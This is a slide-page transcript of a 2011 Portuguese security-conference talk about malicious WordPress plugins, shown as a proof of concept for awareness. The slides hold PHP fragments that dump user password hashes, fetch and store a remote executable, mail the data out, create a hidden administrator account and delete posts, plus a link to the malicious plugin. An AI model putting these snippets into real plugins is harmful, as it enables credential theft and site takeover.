Upload
vale-security-conference
View
696
Download
0
Embed Size (px)
DESCRIPTION
Vale Security Conference - 2011Sábado - 6ª PalestraPalestrante : Thiago BordiniPalestra: Exploit code injection in CMS SystemsTwitter (Thiago Bordini) : https://twitter.com/#!/tbordiniVídeo da Palestra (You Tube) : http://www.youtube.com/watch?v=Ls3ccKGe_bsSlide (SlideShare) : http://www.slideshare.net/valesecconf/bordini
Citation preview
Agenda
O que são CMS?
Motivação
Prova de conceito. Happy hour...
Impactos
Conclusões
O que é um CMS (Content Management System)?São sistemas criados para gerenciar e administrar o conteúdo de sites. Ex: Wordpress, Drupal, Moodle, Joomladentre outros.
PluginsAgregam novas funcionalidades aos CMS tais como enquetes, galerias de fotos, integração com redes sociais, etc.
TemasPersonalizam a aparência dos sites criados através dos CMS. Permitem algumas customizações.
Considerações
O que não esperar desta apresentação.
1 – Discussões sobre o que é exploit ou não.Segundo o EC-Council exploit é: A defined way to breach the security of an IT system through vulnerability.
2 – Demonstrar vulnerabilidades apenas técnicas. SI vai muito mais além disso.
3 – Que eu seja dono da verdade
Motivação
Motivação – e o Kico???
OK mas e o Kico??
Motivação
Motivação
Prova de conceito. Security as a happy hour...
Dúvidas para a prova de conceito
1 – Os plugins e temas submetidos são realmente analisados?
2 – Os plugins de “segurança” são eficientes?
3 – O que é possível fazer com um plugin.
Prova de conceito. Security as a happy hour...
1 – Os plugins e temas submetidos são realmente analisados?
Criado uma versão pt-br do plug-in no-copy de autoria de Mohanjith http://mohanjith.com/wordpress com o código malicioso já injetado.
Submetido ao repositório do Wordpress.com juntamente com os outros milhares de plug-ins disponíveis no site.(Em dez/2010 – 12.533 plugins com 141.819.480 downloads.
Qual foi o resultado???
Prova de conceito. Security as a happy hour...
1 – Os plugins e temas submetidos são realmente analisados?
Prova de conceito. Security as a happy hour...
2 – Os plugins de “segurança” são eficientes?Alguns plugins testados:
Exploit-Scanner-1.0.5 (Identificou o encode_base64)Wp-security-scan 3.0.6 (Nada, apenas permissões inadequadas)Mjp-security-plugin-1.0 (Nada, apenas permissões inadequadas e usuários default)
Qual foi o resultado???
Nenhum detectou o código malicioso.
Prova de conceito. Security as a happy hour...
3 – O que é possível fazer com um plugin. Funções utilizadas:
Querys na base de dados.$wpdb->get_var($wpdb->prepare("SELECT * FROM $wpdb->users"));
Identificar URL onde o blog foi instalado. get_bloginfo('wpurl');
Redirecionar site para outro endereço.wp_remote_fopen('http://www.xyz.com/index.html');
Prova de conceito. Security as a happy hour...
3 – O que é possível fazer com um plugin.
Identificar o diretório de upload do blog - wp_upload_dir(); PATH blog – $upload_dir['basedir'];URL dos uploads - $upload_dir['baseurl'];Criar pasta - wp_mkdir_p($target);
Baixar arquivo remoto e efetuar o upload wp_upload_bits(‘xy.exe', null, file_get_contents($name));$upload['url'];
Prova de conceito. Security as a happy hour...
3 – O que é possível fazer com um plugin.
Coletando informações da BD
$results=$wpdb->get_results("SELECT * FROM $wpdb->users")
....$mensagem .= "ID: ". $result->ID ."\n";$mensagem .= "user_login: ". $result->user_login ."\n";$mensagem .= "user_pass: ". $result->user_pass ."\n";
....
Prova de conceito. Security as a happy hour...
3 – O que é possível fazer com um plugin.
Garantindo o connection Back :D....$mensagem = "URL Site: ". $url ."\n";$mensagem .= "Diretório criado em: ". $target_dir."\n";$mensagem .= "Arquivo criado em: ". $target_file."\n";....$headers .= "From: PoC <poc@localhost>\n"; $headers .= "Return-Path: PoC <poc@localhost>\n"; $envio = mail("poc@localhost", "PoC", $mensagem, $headers);....
Prova de conceito. Security as a happy hour...
3 – O que é possível fazer com um plugin.
Garantindo o acesso Administrativo$wpdb->query("INSERT INTO $wpdb->users (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES(1999, 'poc', '\$P\$B0nhkbZo\/ImMpG0I17f.jyAp5S9c3V.', 'poc', '[email protected]', '', '2010-07-01 22:43:10', '', 0, 'poc')");
Prova de conceito. Security as a happy hour...
3 – O que é possível fazer com um plugin.
Live demo – Bonus Track!!!
TODAS AS INFORMAÇÕES, TEORIAS E DEMONSTRAÇÕES
APRESENTADOS TEM COMO OBJETIVO ALERTAR A
PLATÉIA.
Prova de conceito. Security as a happy hour...
Entenderam.....
Prova de conceito. Security as a happy hour...
Seria possível pegar uma
Prova de conceito. Security as a happy hour...
Conclusões
A principal falha é de processo por conta do wordpress e não nos plugins.
A função wpdb permite uma infinidade de combinações de querys SQL como por exemplo:
$wpdb->query("DELETE FROM $wpdb->posts WHERE post_id <> ‘0'");
Como não existe uma garantia da integridade dos plugins e templates, revise os códigos antes de instalar.
Os plugins de segurança ajudam, mas não eliminam o problema.
Conclusões
Recomendações como mudar os nomes das tabelas ou o diretório padrão de upload não eliminam o problema.
Nas pastas de upload verifique as permissões aplicadas em arquivos e pastas.
Manter o wordpress, plugins e temas atualizados é indispensável.
Revise os códigos antes de instalar algo.
Teste em ambiente independente.
Próximos passos
Entender o mecanismo de criptografia que aparenta ter falhas na função avalanche e salt.
Prova de conceito. Security as a happy hour...
Bonus Bonus Track!!!
Plugin disponível em: http://migre.me/5B4S8
Usem por sua conta e risco.Sem suporte.
Dúvidas?
Thiago Bordinithiago (at) bordini (dot) netwww.staysafepodcast.com.br
Security as a happy hour!!!
Agradecimentos:Crash / Gr1nch / DCLabs / Nelson Brito / Jordan Bonagura
Referência:http://codex.wordpress.org/